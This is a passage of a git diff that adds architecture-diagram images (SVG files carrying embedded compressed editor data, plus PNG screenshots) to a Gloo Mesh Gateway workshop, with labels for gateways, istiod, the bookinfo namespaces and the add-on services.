smjd71c/KhmHi4P87U0fPpuF3znVx1MDAxNLI4Nu5cdTAwMDf6K9BKI+2dlFx0ONFcZpFZhJMpL+SZ1JdKc1x1MDAwZqRuc3noelvyXHKL4FxcWsD3pt85jY5Lw1x1MDAxYjzGtHoqluaAWFx1MDAxMFDB5lx1MDAxNIe48/YwWGRcdTAwMTYoZkCubNZvOVC8bVRcdTAwMTnaOFx1MDAwN7HpayRMsSbK/GI7uDKeWoRAhlx1MDAwMW8gr2zjjFx00KeO8JR/pWybnuQmXHUwMDE35Veauu2Xq/Wbc1U6eW76iVx1MDAxMWRcdTAwMTFusvO0MFx1MDAxNeU0dpTCn4tcdTAwMTFj6Vx1MDAwMqZcdTAwMDCz2yRuzo/fV5RtK1x1MDAxNKyeYUbMNJhcdTAwMTfYpM1cbu+klCndxfmsU1x1MDAwMjee+S8t24Kp+9fdXHUwMDA1ut6ebFx1MDAwYj5z0FpcInOsXHUwMDFiPW4tvCluTGVcdTAwMWLnXHUwMDA22oNcItWgNVx1MDAxNMJcdTAwMWXZZqpcdTAwMTdcdTAwMDGCk1x1MDAxYyEldlNcdTAwMTlcdTAwMWEzZlx1MDAwMfTjQoJcdISR8olXNlx1MDAwNFx1MDAwMvDRlEiC/XeWd/gt2jSeRVx1MDAxYTpm+K+UbO3aRF2VXHUwMDFleTN5kns8Olx1MDAxZZf00XUmXHUwMDAwIIFAXHUwMDAzy1xuTCxcdTAwMTMyRKhv1XtcdTAwMDHWXHUwMDEwXHUwMDAxQMFBjaN1q96vUq1cdTAwMWHpmSvX9OE14TN+tVx1MDAxZTVQXHUwMDFj59SUVVx1MDAwMrIk3kl9JcmWXGIkbnN5yHpFyVx1MDAxNpqVXHUwMDFlUvZemio5plRSZOGWnuCUyFx1MDAxZKN0JjdVzZRdXHUwMDE5JIvPW1x1MDAxNW5bN0tcdTAwMTVcIpbA82uh8lx1MDAxYULGXHUwMDA3Mb/0wsS2U28hSu81R0vEPyVcdTAwMTaE8YNiR/pgnCpEi/fqXe3w6eWuz8qPp/rhot9JTf520vVP77Vccsbd0fJ+lWGX9rj1fWDE2bJcdTAwMWO+Pq3nUvXc2fStmM1X5G3lalx1MDAwYnvWpdXCS0FNRPXGXHUwMDFlNi96veJ9u1x1MDAxNG1cXFx1MDAwZrfuuvmas6qsJ9BcdTAwMDZcdTAwMDGQ0zL6KWv49se0YYBCMlxcM2iLbEszbKN1LiZcdTAwMWNcdTAwMTHJmeOLfYPea47S+Yd35/90XHUwMDA2dv/NWfT2XHUwMDEzmucuQT0hxf5hxlx1MDAwN78nvD6Cc8aAeXp7gMFGKVx1MDAxM9FZtdu8eHtq2dUh5o+1XHUwMDE3PqKXk1Lci/5LZjpzzS+5yKnIXHUwMDAyXHUwMDFi4uParI7ddjGcXHUwMDA2TFx1MDAwZnaOI80xTlx1MDAxOO4pc1+7lfZFuXddXHUwMDFlPp3eTe+H6PlcdTAwMDfDbVx1MDAwYsPtaHm/+bDLoKH/XHUwMDAzI862UX8sJfuvXHUwMDAzXi7Iq0zj6vQ9l7jbXHUwMDAyKTRen991ppt9qvN8hqBMTySmvbhCQ0eYjqeAXHUwMDBmiDKMmIp+mFx1MDAxZL7/McWGWHJcdTAwMTSucoTFtqVytlx1MDAwMlx1MDAwZbkp52hcdTAwMDJcdTAwMWJ+wOGngsMleGpcdTAwMGLgMOTgQlx1MDAwNNpwzCRcdTAwMTBwvUKhoXDJXHUwMDE304NcdTAwMGLBmKWVOf5cdTAwMTKSm+TTXHUwMDA1NqXKklx1MDAwMJGFqTkhXHUwMDFjXHUwMDE5sFs9uVDawkSZtGfzk1win3p7xNKCcLhHOeNcXGPqSZeAXHUwMDFiVJiy1Dvj3691dGFcdTAwMGVllZi1YTZZyj7nXHUwMDE2JsFcdTAwMDBhkzMrfkWE/n7HiudcdTAwMTbhXGZ84D63kMjkXGZIQpg23dh9umxii0gsXGLiXG7eXCJcdTAwMTnxnlx1MDAxM3+xhpaB1G2uhJew5+P95XxdXbpJXHUwMDEyXGZDNGVwn85TbZeLt1BcdTAwMDBcdTAwMTZT8aaxtpjGJkSSwc+FkqIg3mD5XHQ3XHUwMDE5XHUwMDExgjiram23XHUwMDFiOVx1MDAxMFx1MDAwMGNYYVOdW2O/fFBsMcSAUaniplx1MDAxMlx1MDAwMkNcdTAwMWV8YvpXI0z/5dItsiwxKdnaVILCmEiTi45cdTAwMWTplPNcdTAwMDYtXHUwMDE4XHUwMDExmCA1ZVxcNFx1MDAxMt7ItUhcdTAwMDJumrd740LttlO4f32RpdrrYIyv/CeFlKl4pDRcdTAwMTdYm3hb77msNIUtmVx1MDAwMoqjhlx1MDAwMenXjqZcdTAwMGKmbXMlvGS9NeGmULD73WRVXHRzJlx1MDAxZlm4hVx1MDAxZmjEU7iB2raUMDmCXHUwMDE0JFx1MDAxY3Ugot+yzbSn0CC5JJKSqOB44Y2gXHUwMDFisyiTWDLMZ/Xv/GKFgVUpRUa+MpN3z71cdTAwMWTymDB9u4ja3UFtLKRbuFx1MDAxZtyNlDBcdTAwMDKFZSpsXHUwMDEwqijYsD6tv7llwomkkHhWXHUwMDE0cs1g4edUt3pRerpcdTAwMWTlipnKVU9cck/LV9Mg+Fx1MDAwNpKNXHUwMDEzU4JIilnIsGdSYNVzXHUwMDAweMxkMChcdTAwMDDjW2lHvr+wk0Dynt31Uvb2sJsjXHUwMDFmfEG8XHQhjD+cR4du4ceq8ZRuWprO9mC+KIONqVo8XFykXHUwMDAy7Fx1MDAxYlxyQo5cdTAwMDBJXCK+I+m2XHLDXHUwMDE0MIiAO+rfbplGlm4g3DTSnDJl2sk5W7s5rUApNGhwZILxhf5cYsRfXHUwMDE1ukVcdTAwMGZhxqaZXHUwMDE5QqbsmmldzLyyTVtAXHUwMDAzIG2ZoKbAzFZcIur+xYZp+JlscFx1MDAxNyPMuSn6jlfo9lx1MDAxMt7XMa4ucsa169jVXHLgQN1Y3HlaullcdTAwMTPjIFx1MDAxMUeQckVpML8yx0RY2nk5pvInS12YNHfB4lx1MDAxOWp3mKFVfpPKtlHtpJS4OrffipfO9uVcdTAwMWWV/HEn/FBqT72T12c7olx1MDAwMl1CRFx1MDAxYf8p4tFcdTAwMGamXkm3YF+q9tv5bZVNSuwhUTg5Wlx1MDAwN1YsUvYueU65olmROz2eUlx1MDAxY5XnXCIkWf5X2WblatnLc2tGQoBccme8ovFkscRL+3GCn3r0TFxy71uv6lx1MDAxNVx1MDAxN9NP/qzwXHUwMDEzXHSx+rhbX95lQVx1MDAwMP5cdTAwMGb8XHUwMDA0+Vx1MDAxNXSoToLj8E3JeErwXG5JRuHLXHUwMDE5W8CgZKjwki6pXHUwMDEyXCK8XHUwMDE2Q7R2dKauqFJUKLQ/ibWHI3UwSPowu4N/OjV44Lg0cS7zzk/Tl+jkxdP0P5P9M9X1kYUzn3cxv1x1MDAxOVx1MDAwYiWUo7jzcjx/dng/nuSTz3fvvXxcIotoXHUwMDE3pfOxR1x1MDAxNiiEOVx1MDAxOZHxRVx1MDAxNkKZXqSAL2KJLM5cdTAwMWZei88v+fvCuM5qXHUwMDE3Pckukq3aXHUwMDBmsthcdTAwMTay2NHy7mhY/NCpiMpDsdy0XHUwMDFmj9Fh6v5cYo1vNlqFZUDI/4vsXHUwMDExXGJRXHUwMDExfKyPpTn3UlwiOlx1MDAxMlxu36f4XCIhXHUwMDFlJmwpjVx1MDAxOVx1MDAxMsJcdTAwMTKBaW3iIL9cdTAwMTNcdTAwMTSyS4Ph2Fx1MDAxZVxm94SFlqCIRSz0MdvNwVx1MDAxMKfB3k1suvqJXHUwMDE13Cyn6dyZXHUwMDE4Y67O+idv04fDqlLDbuw5VGJsmaJcdTAwMWF/Lnf8L9HMlTpcdTAwMTZv3yZcdTAwMTdYSrbDolxicfRtJmyaf2G6PeSTVO1cdTAwMDaps9Z7Ylx1MDAxYjimelm+K56/JJLdczqyO2/ZzD2ZRlx1MDAxYndnqja8XHUwMDAwQHA/RoxcdTAwMTVcdTAwMTamSUj00k1v4iZ7nTo8zZ82y1M+vVZcdTAwMDPWjrtpI1x1MDAxN2JL6ELi52a2XGbglbLtXHUwMDE3N7eWLYNcdTAwMTGV1JRW3l+SZ1x1MDAxOPXf6rth8yzTXHUwMDFhXHUwMDE1XHUwMDFhh8Ps9IU+yYvR5rD4x5jZ6fJufdhlRof/XHUwMDAzP0FcdTAwMTJcdTAwMDZcdTAwMTlcdTAwMWSMXHUwMDA3lq9TkjJcIjiOLlx1MDAwM8OXM7aIZqGbXGYl3MKRpOBOjFxm4lx1MDAwNSqmtLtimH+rXHUwMDE0JngpjVx1MDAxY+WcnZaFI4RgNcti2HV8y1x1MDAwNbNiiVx1MDAwNveYXHUwMDE1v+e3XHUwMDAxXHUwMDAwkYG1cWHLiWk6RqLnrz/kbsWw9jB5vX9lqo1KefE6pbFcdTAwMDcgzMVqbjjCmI4vXHUwMDFjUabenlwiO1xm/tpcdTAwMDSOlOj1Mz96L7+89Vx1MDAxYZVR9jIxuTh//YEj24IjO1rerzLsMpTj/8A9olx1MDAxYz7v4eppXHUwMDFloYnEapVcIr3hy1x1MDAxOV+Uo8NErZAxwzymXHJcdTAwMTHHao/OmT1gnj485qDVaDeGXHUwMDAxydprXHUwMDAznyUu1SXgYVx1MDAxMfu45rlcdTAwMDFcdTAwMDBigaFcdTAwMWZcdTAwMDRcdNNhXkVcdTAwMGaGv2vctHLTt0RH5srHp0+dvrhcdTAwMTmj2ONcdTAwMWZ3XjaV8UU80mSraEc+XqxcdTAwMDCP/VCvJ890MX3WqVxcXHUwMDEyxF9cdTAwMTE+qvxcdTAwMDCebVx1MDAwMZ5cdTAwMWQt7zdcdTAwMWZ2XHUwMDE5jvJ/4D5xXHUwMDE0Vot/nWeem/bcYpXM8/D1jC+Qclx1MDAxZnlRXHUwMDFkO+jEiVx1MDAxMlp8rzPpvl1tXGY+XHUwMDE1My1cdTAwMDFcdTAwMWNcdTAwMWXMNJvgWmxHSTDbMaRN6tJcbufOw6s3Wrh4aiUv8/SydTjIidz77TpA6Vx1MDAxM5lOI2JcdTAwMTFcdTAwMTAwXHUwMDE0Sa5NN1x1MDAxMVx1MDAxN1x1MDAwYmIkLYpcdTAwMTDmIISk0FRvduxcdTAwMWOEm1xi9anwID1Zz1xmKUFcdTAwMTXZY639MCW2p2NaX+ZWUZm71up2XHUwMDEzbXtQT5Sq1W5n8E+nU4JfgYJsX5ZcdTAwMTfrRp6E+Idd32KRucMmXHUwMDE4yvKBmcJcdTAwMDJcdTAwMDeHxVOKleSrZFxuh+96THlcdTAwMWWMIVx0LC9NwVxy+MbutmlYMUszhFx1MDAxOVx1MDAwMYrjzjaq22R5TKjFTXtcdTAwMGZKXGIsuPLpd6mFhVx1MDAxOGdGODGOhfZcdTAwMWFOXGaZSrQx7r0hQjk2YppwuFo5WGhzQVx0U/BTYVwiXHUwMDE1V45cZtXfObncXHUwMDEy1DQl45gr07hwzVx1MDAxYVbhMVbuSTGlXHUwMDE5Jlx1MDAwMplcdTAwMGVcdTAwMWNcdTAwMTRcdTAwMTOfwlrUMs2HmZLMdFx1MDAxYaY+bdy+VFx1MDAxMYRA4jaXh6znw/3lfF1dsDl6IXtOvUz7SeD26M7Yy2FOvT9cdTAwMTP1cl5cdTAwMTFcdTAwMDQ/JNtv/Hgtr88nXG42oDOLU6w54lpcIrJYX51cYmIhRTQwKIA75ri9TtXmIMnGqUU05abDkSSUO/o5zotXYWExQqnptmFMO49kXHUwMDAzXFwqQYrEt7rLSoItuFx1MDAwYm+QdNGl4XnlpCFGbfqePdPdRiaXLvtJXHUwMDE3ZFGClZJmtzFhSMytxFx1MDAwZulClKU1bFx0yFx1MDAxZiYxUnQrXHUwMDA18vYnXVx1MDAwMlx0bHbXQ1sripclYbrBTWfxrFx1MDAxYiZD0UVMvll7VEfT0fVl67VzZN+nh+N0UCR9TERcZifuQL5cdTAwMDWPXHUwMDA1RZai82szXHUwMDAxs92y8KbiXHUwMDE4XHUwMDA2ZVx1MDAxNM9j9f5ccn3q6WvVT91cdTAwMGUuRrXn81x1MDAxNupcdTAwMDbE5P54mVdcdTAwMWZ3R8v7tYbdflx1MDAwZp5lbmb/LzJcdTAwMWbWw1U7r7OOgjOhOGFcdTAwMTKBlIhu+4bvU0zdzKDCwiQ4U1x1MDAxNt2WXHUwMDA034rPmZhW086Ghd/B59zpXHUwMDBlXHUwMDEzjc7M7/OpnucliGTROeWc5vqgipLgRtdgw4CVSKJjqsLkvJJ8SpNs4VxipZ5cdTAwMGZcdTAwMDeN3Fx1MDAxOS/G+7CeL2R6u602RrhcdTAwMDWm9J/L1V16jaP77YIqKbHUVMY0deL1KnueuWplWvVx5rCSZjfZ4/Pu5np0R8PuXG6rXZ9XJm+saY/oZfKmkm00XHUwMDFiXHUwMDBmr+0tjPt2xFS5kFx1MDAwNSVx1385uanS4/xcdTAwMWLawrhfZdeWgVx1MDAxZv9cdTAwMDfuXHUwMDEx/FBcdTAwMTZovJpKUSBrV+g/XHUwMDE4vpwxxj4hkpZcdTAwMTFLbk3Sblx1MDAwM/xIXHUwMDA01jRcdTAwMTF7XGZcdTAwMDXfSzmcz8c9S1CDt1xiTlx1MDAwNMxcdTAwMTNcXI0h8MydYKSVQFx1MDAxY0Xnw/PmYyHXXHUwMDFkX9nlYU41L9hh9Tax3Uq9W+dCiVx1MDAwMGpcdTAwMDCww6b1NpOeXHUwMDBlMsxizHSPQbBcdTAwMTKwXHUwMDE0wT1cdTAwMTY2On9jPlx1MDAwMMd75G5cdTAwMWE+XHUwMDAwvFx1MDAxMXp/pXjDlNogc9tcdTAwMTOJcrKCbI37T/27fJ/2o+ngTdSPL4NHPnOvXHUwMDBmh71yo1x1MDAxM7ujdp95hTJ48EGUXHUwMDBlPmFnppJcdTAwMDPYs9HrrYTvcTw5nJruoaakO6OMkoU0SKx+XHUwMDFkQ2nNpaDCXHUwMDEx97tVXHUwMDA2R9pigmhBKKaUXHUwMDEz5Vx1MDAxM2KjlKVNv1x1MDAwZlwiNVx1MDAxNlxcO0XNn1xumnCLc7270ORYnLCHK5GDhVx1MDAxM3bYMUSYKWOAqZLC8Ta/XHUwMDEzdlwivGWvI52BVSty1D3h7cJFr1STybN0q3lBXHUwMDAyJiXgKUJcblx1MDAwZfLKXHUwMDFjfnrLg1x1MDAxM2RcdTAwMTHYTGxcdTAwMGU+Tdsy+sXbXGZcdTAwMDRTt7k8dD1cdTAwMWbvL+frypItuE0lkISQzLTliCzYXHUwMDEy13fdTOZcZpeHg1I3WyNccvtFNONuQph67s42ldpcdTAwMWQ8pJDLfSqDg4dcIsTsXHUwMDA2XHUwMDE27ZNOO1x1MDAwNVx1MDAwMJRPl1x1MDAwMTyf9p+afVx1MDAxMnHTeCeu0ULLsEbkQ3XXna/E1YHbai5g+Vx1MDAxNbk4yFx1MDAwMMGO6mZcdTAwMGJcXCyBoskqpaZcdTAwMWVqvdbRRaGepYPsqyzU6MXg/Sz2PIxcYnWxqbtcdTAwMTjcrE2Sg8NDXGaQXGKn2IGFN6WXaVx1MDAxZFx1MDAwMUy/mVx1MDAxNkxcdTAwMGaspN5ltuJuuXYtXHUwMDE3wFx1MDAxYva3/pXrnbu3XGJgXHUwMDFl63GYXGbWk7PucmhcdTAwMDU1WTgtnuHbs9fRXV+Nx6Iyvm3WhrFnMcyIhcXHJVx1MDAxNzhMuvhvo17OgVx1MDAxY0b8ird5OGxWXHUwMDAyZYdcdTAwMDWn48heJCbsRdZkL1x1MDAxMVhfzViVYJSw6Oz1mOaHk2b6uJesj1VJ3tdF7i5cdTAwMWJ79lJaWXReLVF42MuZOFx1MDAxNmJg71xcgWFiXCKaXHUwMDA1Y7s7XCLcxIE2TbROc7SdXCLiUtyQo1xcJjNq8j050L6PetSBXHUwMDFlcC4lV1x1MDAwNK/gXHUwMDAwb15e2oUszj09Tk9ady/302u7elx1MDAxOXf+JVxiXHUwMDAzi87NSI09XGbMnddcdTAwMWX1I0dcdTAwMTJrQmVcXHvR/WhIXHUwMDFmXHUwMDBlI8EhNXh2pMhcdTAwMWQ99JaymG7ZqVxmOX5+nVx1MDAxY55cdTAwMTYmOn/avUq9fVx0XHUwMDE2c9byXdCRXFw7WWxHXGLUJ6vLR0WatGqGyPcy8WhMOIxuUrXbUUVmMXJNMSbJXG5V9lx1MDAwZbvvZ+3bw7Nk2u6J+8fikX48XHUwMDFlXHUwMDA0MFlMjnmEcZRooUyIpvm5mG7EkEWoQprPfoo4ZVx1MDAwM0ht8tOY0DvjuU1cdTAwMDLXzjLn4+LDZSbZOk7f0aHAg0HnNL5cdTAwMTFmXy1cdTAwMWJgR8v7tYbdfjbAjqa7LM7O/4HzYT3MuvMkXHUwMDAzXHUwMDE5mIfKXHUwMDA0olhjXHUwMDE1/fQ/fDljir2ExqGKgUtLbksxbCPOjoHFiVx1MDAxOXOUPfhcdTAwMDZxdlx1MDAwM8A11VK/enDXrfpjsVx1MDAxZFx1MDAwNdstQTqLXGLNNc/1sVx1MDAxYUOBQTmcYWEq7kZmylc6nN6X++nzUebx6fDsNFd/aup1sNrnJVx1MDAxOVxixS0250i2XHUwMDEwdGdKk/9mR/OTXHUwMDA0n3l9fpJcdTAwMDEmhEmFkNhcdTAwMWZ7him8YT9/qcqVi8duP9Xrq3N2p+62oJ93NOxPlsFX3LWtXHUwMDBmu1xmVPk/cI+givHgzE3KQGJpJaNniYWvZ2xRXHUwMDE1XG5cdTAwMTXhjFpsW1wifCupm5hSpjnS31xuVlx1MDAwMUo5XHUwMDE4N4b1g2Tnrevfvm5XwGpcdCxZXHUwMDA0Vlx1MDAwYjNdXHUwMDFmWnFcdTAwMTRcXHhcdTAwMDdcdTAwMTOkXGJcdTAwMTM0usXTXHUwMDFld+96/Dp//Fxcv5z2R+hcdTAwMWVcdTAwMWRlXHUwMDEycXeEXHUwMDAxrqFzg8dcdTAwMWRPhFx1MDAxOWbWnDGxI9hgm3V31lx1MDAwNFdUSzDBiCPmK07g6uhsUK10SoXSMVx1MDAxOVx1MDAwZY6ytsq01Ft8UdBX84TtaHl3NOyDvteKqmzz5emqX1Pjk9HruLlccuzaQIm2rFx1MDAxN3LN3E3mTbRcdTAwMTLCrre2MG5cdTAwMTZVZK2E+pf4YZgrpU5QXG6/drYwbpdWXHUwMDBiL1x1MDAwNTVcdTAwMTHVXHUwMDFie9i86PWK9+3SXHUwMDE2xr0ppWi+fWeXefmmmDrOXHUwMDEz2lxi2rYtXHUwMDE1XGLxJ5Q9wkznSaC3c1x1MDAxMuJIcVx1MDAxMf3gNJxcdTAwMGbiXG4zlVx1MDAwZVVmlFgokjL7rKrUXG4xQlx1MDAxMcP7O8vZXHUwMDAzzEy1ut2Da3tQ/3T33Vx1MDAxMny2iDLdXHUwMDEz3Vx1MDAwMGRcdTAwMDaXrVWYYMSdpWyWVu5Jpp8np8dcdTAwMTdcdTAwMWQ+tK/P2uRqdNq9+lpcdTAwMTiTudmSI2qhuVx1MDAwN0/vKOZvLYxpXHUwMDEyg0BQ6HhcdTAwMWW2jo7EU1x1MDAxN+F+Kp9BjUnv6XDaXCLiXHUwMDA3Ym5cdTAwMGJi7mh5v9awn196zf+L7Fx1MDAxM1lcdTAwMDWfimpcdTAwMGX/XHUwMDExvEI/2PBt+lwiwGpRglx1MDAxM2TxSFx1MDAxMvyTgJVcdTAwMDRbS3HuSFX/XHUwMDA2uOp8MGx0P1x1MDAxZFMtwSOLmGo+yfVYkVx1MDAwNXf9XHUwMDAwysRSr9L1XHUwMDAzjVx1MDAxYomTx5Ph08l5fiREa2jf547izovSNKT/cKVTvVx1MDAxMKFcdTAwMDC2XkRf+qZcdTAwMTFcblx1MDAwZef4XHUwMDA3K1JPiCjTUiPkTEWMXHUwMDEzgmo+s1TuXHUwMDExZV+71+PukNcyteTtczTttolcdTAwMWHyZfTIVUiu7Jrd8edyR9ju51x1MDAwNKH+nstazCyCs3mZKcKA+FxuVb1SR41KTiWeXi+O3s5lXCKdvM9fX8edlzHX2pKSXG7FXHSjTCF3smHCXHUwMDE0UORCXHUwMDAzXHUwMDBiXHUwMDExbSpE7I6ZpU9KlJeZMVwiXHUwMDA0XHUwMDBijWU841x1MDAxOZ5cbqnb0cP5YVx1MDAxMZGzh+P22404VLW4c/Nxq+HakX1y8++5hHJzYIVccqmDXHUwMDFkkNpkblx1MDAxMCSi+znC9zKWflx1MDAwZcxcdTAwMTW3OMbIXHUwMDFjXHUwMDFhciGZu3hQXHUwMDAyXHUwMDE0M8PA5oBOXHUwMDE5XHUwMDE11MHsWz1MI6ZcdTAwMTiDkJqb/EmshE9cdTAwMTdcdTAwMGJpYclMXHUwMDAxXHUwMDE20zaMXHUwMDEy7U2dYuZcdTAwMWLsUmvHonpQuNI4cDarwPBkpUEjUcVcdTAwMDFmam97XHUwMDFlzCygcVx1MDAwMZaHkFxuceXthPPvqPWRXGKmMHN5aGs+3l/OVyNyZ0/4u9TrZYawxVx1MDAxZlx1MDAxYvX3W8NcdTAwMWVcdTAwMWZcdTAwMDVH5/31e1GNXHUwMDE0sM3X+p///et//z9cdTAwMDO3RUwifQ== + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/portal/images/steps/deploy-bookinfo/bookinfo-working.png b/gloo-mesh/gateway/2-4/airgap/portal/images/steps/deploy-bookinfo/bookinfo-working.png new file mode 100644 index 0000000000..102fec36e5 Binary files /dev/null and b/gloo-mesh/gateway/2-4/airgap/portal/images/steps/deploy-bookinfo/bookinfo-working.png differ diff --git a/gloo-mesh/gateway/2-4/airgap/portal/images/steps/deploy-bookinfo/initial-setup.png b/gloo-mesh/gateway/2-4/airgap/portal/images/steps/deploy-bookinfo/initial-setup.png new file mode 100644 index 0000000000..6808fffb22 Binary files /dev/null and b/gloo-mesh/gateway/2-4/airgap/portal/images/steps/deploy-bookinfo/initial-setup.png differ diff --git a/gloo-mesh/gateway/2-4/airgap/portal/images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg b/gloo-mesh/gateway/2-4/airgap/portal/images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg new file mode 100644 index 0000000000..b385df0718 --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/portal/images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19V3fiyrbu+/pcdTAwMTVcdTAwMWXrvG50Kof9Zlx1MDAxYlx1MDAxYjDGXHRcdTAwMWPvOsODnINcdCbssf/7nUV3XHUwMDFiXHUwMDAxklx1MDAxMCBcdTAwMTm521pr4DbgUqlqhm/OmuE/f1x1MDAxZFx1MDAxZP09nPbKf//76O/ypJhv1Uv9/Pjvf5n338v9Qb3bgY/I/PdBd9Qvzr9ZXHUwMDFiXHUwMDBle4N//+//5ns9a/FXVrHb/vGX5Va5Xe5cZlx1MDAwN/Dd/1x1MDAwN79cdTAwMWZcdTAwMWT9Z/5qu1e/XFxcdTAwMWPmO9VWef5cdTAwMDfzj1x1MDAxNrfjnK++e9XtzG+NhZaaXCLE0Mc36oM43G9YLsHHlXxrUF58Yt76+7w9QrHe5eCsl34/K43bVzzWeVxc3LZSb7Wyw2nrx4Pli7VR3zapwbDfbZZcdTAwMWbrpWHN3H3l/Y+/XHUwMDFidGFcdFx1MDAxNn/V746qtU55MFj6m24vX6xcdTAwMGan5j20mP6PVfj30eKdXHT8RpWylFx1MDAxNopwal5cdTAwMDVjXHUwMDFmXHUwMDFmm1x1MDAwMVxiVtxinCrNpUZYKLEys9Nuq9s3M/tcdTAwMWakZIVcdTAwMTdcdTAwMTZzK+SLzSpMsFNafFx1MDAwN5OCUmLxnfHP5yVIWcR2scVtauV6tTY03yHC0vZrMdNBeb4pmGtMMaFYfnxiJtBLlVx1MDAxNlx1MDAwNPLjydrj8lNXvqTvdOP5ZNa4XHUwMDE2T/nE3z8//7/Vta/l+72fa/z3wPxie0bzeGerRGgnRFx1MDAxYn3ESrXL4clJ/4lcdTAwMGXq8Vx1MDAxY84lqy/V9sdYS1Sb7/e7478/Pvnvv7zGPc6Wp685hTp3pNcrXHUwMDE3XHUwMDE0fjx7XHUwMDFj+1x1MDAxYnftkUe9Uv5cdTAwMDeFY8G4QFJjjpD++LxV7zThw86o1frLNrMt2U66slx1MDAxZEFCcso08c92z/dx/ZRcdTAwMWZcdTAwMGZ05qxxfH7x3jg/e+pHne00lpZUXFxiRswrx6tcXCctIVx1MDAwNcZcblx1MDAwMT3r1XlFiulcdTAwMTQnXHUwMDAyMcb478Z0h2FcdTAwMGVcdTAwMTDDrjpJS8SZVlj4Zo7K+UNvNuVP15Na/EE2R2/1tMBRZ1x1MDAwZUyEUTqEKqTNq+15f3BcdTAwMDdRXHUwMDE29sVcdTAwMWTzy5M7hv18Z9DL94GW1jlEablM/etcZqJcdTAwMTSxhO3ia/xcdTAwMDEgXHUwMDAzaVx1MDAwNuozNP6YP9GO/DE5TsVbydH5XaeNplx1MDAxM10jJN4+XHRAKWX02Tj/1rzqXHJp8eG8NqtcdTAwMTT5STLKfEcodec7QINMXHUwMDEySXzzXHUwMDFkqzwkX1x1MDAxZtHTRbMyzHdcdTAwMGJcIsNexUPU+Y5cdTAwMTK8xHarUPDT2E7RzWyHV1x1MDAxOU1IzZFE4nB89tkwirjCKED1XFxtY7vgVqr7Um/djuOF19FFXHUwMDAy3V9cXFc6UadXwahFXHUwMDE2IIrJXHUwMDE1elx1MDAwNTL6KiBKXHUwMDAz9UpcZlx1MDAxNPxccqJcdTAwMDJcdTAwMTHmNlpYYVxyLSjsXHUwMDEypv4x1INM3k5z3f5LoS5a99fTXFxcdTAwMTnfXHUwMDE2o85cdTAwMWKYXHUwMDEy6oWhXHUwMDE4QFx1MDAxYn/CfFx1MDAwZuaQXGJtXHUwMDEy5JisXHRyTFx1MDAxOMeCUP7NXGbBWFx1MDAxNMTVolx1MDAxMIY+XHUwMDA0Qso3M3D5fnrdSZ2nrkqZp4vLbvfmvsm+XHUwMDAwMzAvZlx1MDAxMFx1MDAxNFx1MDAwMzNQqVx1MDAxNehcdTAwMGLGbUgwYG5w0FxyoD+Q/aJr7MC4Ns5IXHUwMDFi4olcdTAwMTI7ZHmrzq9Qo9K8f3/Fk+brsKkzUWZcdTAwMDfCtVx1MDAxYjtgJTFXXHUwMDE07uybXHUwMDFmaKv8wmdXx6excrdwPcs+ijx+duGHXHUwMDE1ul7mXHUwMDA29mncoFx1MDAxOfKC+YRwf7BJXHRS1kVvXiiUWaFUWOdcdTAwMDXYXzey/2Bccts+/WRcdTAwMDVcdTAwMDJITzJcckgpkqzATmW9Pk1P6rNB6rmYenvIvNw9ObPCsDxcdTAwMTn6NaXlsF5cdTAwMTiUZ4pcXDzVW0/tSqz8RJk/XHUwMDBl81x1MDAxY/fs9fZcdTAwMTRn2MW4W8jgm6ehTicn2Vx1MDAwMMYtvlx1MDAxN1x1MDAxMjLeOWnk6jSrktNcXOP0rFx1MDAxMMC4gS/v0rf/5feGnyC/liZkXHUwMDE3XUKtvvtLdEmCXHUwMDE4lYj51+Tey1x1MDAxOVFNrlx1MDAxOfeUXXNF7kN2VebX7i5cbsxcdTAwMTd3/lx1MDAxMFi2xf+AssqILFx1MDAxNaJTYpPA2ok6XHUwMDE3VNDtXGaz9dmPo5mld8/z7XprurSRc7KFKdU71T7M7uifTlx1MDAxNW44zk/t6zwow33MeGz5XHUwMDBmj1v1amcuPmDm5f5cdTAwMTL5XHUwMDBm68V86+NcdTAwMGLteqlkV+1FmE1cdTAwMWXG7Kf8aORuv16td/Kt3Mpkf011XHUwMDBmnI1cXD2IXHUwMDA0YYYo1rbT1U3s2Ym9VZq3r2zYXHUwMDFmXGZcbunn0UXx6aFcdTAwMWJxYEGVXHUwMDE3c1x1MDAxYfdiRIFcdTAwMDVWlGKOcURNzpvb02b5tjjEN+piJG5ztH99V/9cdTAwMDZcdTAwMTZBXHUwMDAxi5CWN6Rh8UOnKIpcdTAwMGavhUb58Vx1MDAxNFx1MDAxZCduT9D4aq9V2ISDnFx1MDAxZuSAOIhSV1x1MDAxM04gKlx1MDAxOVwiW1x1MDAxY5F6b1NkcVx1MDAxMPVcdTAwMTa1Pr17n4SDtORcdTAwMDJsa3E48XpcdTAwMDBcdTAwMThUzlx1MDAwZobj8mB4IFx1MDAxY7RcdTAwMDFArOKgj9nuXHUwMDBmhJh2XHUwMDBmq5NcdTAwMWEpQYE2ffPn+9tlazaJo0lcdTAwMGY1Y1wi+XLzcjyTu1x1MDAwMKHP406GMYBcdTAwMTCpqeDzV8WX2dPEXHUwMDE1gKlcIiTlQmpmXHUwMDBmXHUwMDFh2P4oNWAopCkmXFyC0Vx1MDAxMkkk9FhcdTAwMWFeXGLSnd70aa/+8DaoX15cctU3XHUwMDEyXG5cblx0hbS8X2tYfdNcdTAwMTncXHUwMDE2+o/907ebVK1500mfdYuhXHUwMDAyLOdcdTAwMDc5IMDizCNcdTAwMTiGaVx1MDAwMVx1MDAwMFx1MD